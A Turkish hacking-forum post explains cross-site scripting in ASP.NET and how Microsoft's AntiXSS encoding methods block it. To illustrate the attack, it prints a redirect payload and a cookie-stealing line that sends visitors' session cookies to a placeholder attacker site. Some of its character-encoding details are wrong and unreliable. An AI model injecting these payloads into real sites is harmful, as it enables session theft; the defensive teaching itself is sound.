600'ü VURDUM!!
[b]
[b]Merhabalar..
HacKHeLL.Com Olarak daha önce forumumuzda xss yi program haline getirerek şu anda üyelerin göremediği yer 'de arşive kaldırmış bulunuyoruz.
Makaleyi okumadan Buraya Tıklatarak Ulaşacağınız Bölümden Xss'nin Ne olduğuna dair bilgiler alabilirsiniz..
Uzun zaman geçti Xss neden hala anlatılmıyor ya/da çalışmıyormu? Gibi sorunlarınıza cavap niteliyi taşıyan sayfaya Buraya Tıklatarak ulaşabilirsiniz..
Bu kadar bilgiden sonra Xss nin hala var olduğunu düşünerek korunma yollarımıza göz atalım.
Cross
Site scripting bilindiği gibi saadece maillerde değil web sitelerini
hackleme yöntemleri arasında 'da bulunmakta.. Ayrıntılı bilgi için Buraya Bakabilirsiniz..
Makalemizde Cross Site scripting açığından korunmak için gerekli yolları Microsoft tarafından piyasaya sürülen program ile anlatacağım..
Öncelikle Microsoft 'un resmi sitesindeki Microsoft.Application.Security.AntiXSS'yazılımı bilgisayarımıza inndiriyoruz..
Kurulum evreleri Gif örneyi :
Programı install ettikten sonra artık neye yaradığından bahsedelim =)
Microsoft.Application.Security.AntiXSS namespace’inden ulaşabileceğimiz 7 vazgeçilmez metot ile hedeften sitemizi kaçırıcaz bu metotlar ;
• HtmlEncode
• HtmlAttributeEncode
• JavascriptEncode
• UrlEncode
• VisualBasicscriptEncode
• XmlEncode
• XmlAttributeEncode
Örnek : l
HTML-Kodu: tAd.Text = “‘); location.href=’http://www.hackhell.com’; alert(’a”); — Bunun yerine ;
Olması Gereken : l Kod: tAd.Text = JavascriptEncode(”‘); location.href=’http://hackhell.com’; alert(’a”); Neden
böyle olması gerekiyor diye kendi kendinize sorabilirsiniz ANTİXSS
kütüphanesi belli başlı karakterleri ” Encode ” eder bunlar ascii
değeri 160-255 olan karakterlerdir. _______________
ProfessionaL'lar için Biraz daha ayrıntıya inerisek;
Kullanıcıdan alınan bilgi olduğu gibi veritabanına kaydediliyorsa ve
aynı şekilde veritabanındanda istemciye gönderiliyorsa kötü niyetli
kodların istemci tarafından çalıştırılması muhtemeldir.
Örneğin bir ziyaretçi defteri doldururken mesaj kısmına Kod:
location.href= ‘http://www.google.com’; Gibi
bir bilgi girilirse ve herhangi bir kontrol olmadan bu siteyi ziyaret
eden kullanıcılara bu bilgi gönderilirse, ziyaretçiler karşılarında
sizin sitenizi değil, Google’ı göreceklerdir.
Ziyaretçilerin
tarayıcılarında çalıştırılan bir javascript kodu ziyaretçiniz
hakkındaki Session bilgilerinin de çalınmasına sebep olabilir. Kod:
document.location='http://www.kotuniyetlisite.com/yaz.aspx?a='+document·cookie
Şeklinde girilen bir script sitenizi ziyaret eden her kullanıcının
Session bilgilerini saldırganın sitesine gönderir. Bundan sonrası saldırganın tercihne kalmış. Session bilgilerini kendine mail atabilir yada kendi veritabanına kaydebilir.
ASP.NET programcıları bu konuda diğer web geliştiricilerinden biraz
daha şanslı. Çünkü, “<” ve “>” karakterleri içinde gelen bilgi
“Potansiyel Tehlikeli Bilgi” olarak algılanır ve sistem hata verir.
Ancak günümüz de sık geliştirilen “İçerik Yönetim Sistem” leri “
FCK Editor” gibi html kodu üreten
WYSWYG* editörleri kullanmakta.
Bu
da ASP.NET programcısının “Fck Editor” kullandığı sayfasının başına
ValidateRequest="false" gibi bir kodu eklemesine sebep veriyor. Bu da
XSS saldırıları için bir davet anlamına gelir. Buraya kadar verdiğimiz örnekler HTML kodları arasına sızan tekniklerdi.
Kullanıcıdan alınan bilgi ile oluşturulabilecek Javascript, VBscript, XML de bu tehlikelere maruz kalabilir.
Javascript için basit bir örnek verelim.
Default.aspx dosyamızda bulunan Javascript : Kod:
alert('Merhaba’ + ‘');
Default.aspx.cs dosyasından gönderilen bilgi :
Kod:
ltAd.Text = "heLL";
Sayfa çalıştırıldığında “
Merhaba heLL” şeklinde bir MessageBox çıkıyor.
“heLL” değerinin veritabanından geldiğini farzedelim. Eğer veritabanından gelen şöyle bir şey olursa : Kod:
ltAd.Text = " ' location.href='http://www.google.com'; alert('a";
Sayfamız derlendiğinde ortaya çıkan Javascript kodunu inceleyelim : Kod:
alert('Merhaba '); location.href='http://www.google.com'; alert('a');
Ziyaretçi “
Merhaba” şeklinde bir MessageBox görür ve kendini yine Google da bulur.
Bu konuda örnekler çoğaltılabilir.
Yukarıda verdiğim örnek ile ; Kod:
ltAd.Text = "'); location.href='http://www.google.com'; alert('a");
yerine; Kod:
using Microsoft.Security.Application.AntiXss;
...
ltAd.Text =
JavascriptEncode("'); location.href='http://www.google.com'; alert('a");
Şeklinde kullandığımızda bir ziyaretçilerimiz bir zarar görmeyecektir.
Sayfamızı derledikten sonra oluşan Javascript kodumuzu inceleyelim : Kod:
alert('Merhaba '\x27\x29\x3b
location.href\x3d\x27http\x3a\x2f\x2fwww.google.com\x27\x3b
alert\x28\x27a');
Görüldüğü gibi “)“ işareti \x27 ye , “;” işareti \x29
a ve diğer zararlı karakterlerde Javascript’in karşılıklarına
çevrilmiş. Bu kodlar çalıştırılamaz ama aynı karaktersel değerleini
korurlar. Örneğin
Kod:
ltAd.Text = Microsoft.Security.Application.AntiXss.JavascriptEncode("heLL");
Şeklinde bir kullanımda ekranda “heLL” yazar ancak kaynak kodunda “ç” karakteri \u00e7 olarak kodlanmıştır.
“ç”
harfi ascii tablosunda bulunmuyor ancak unicode değer olan 351’in
Hexadecimal eşiti 00e7 dir. Dolayısıyla Javascript’tin ç harfini \u00e7
olarak tanır. .[/b][/b]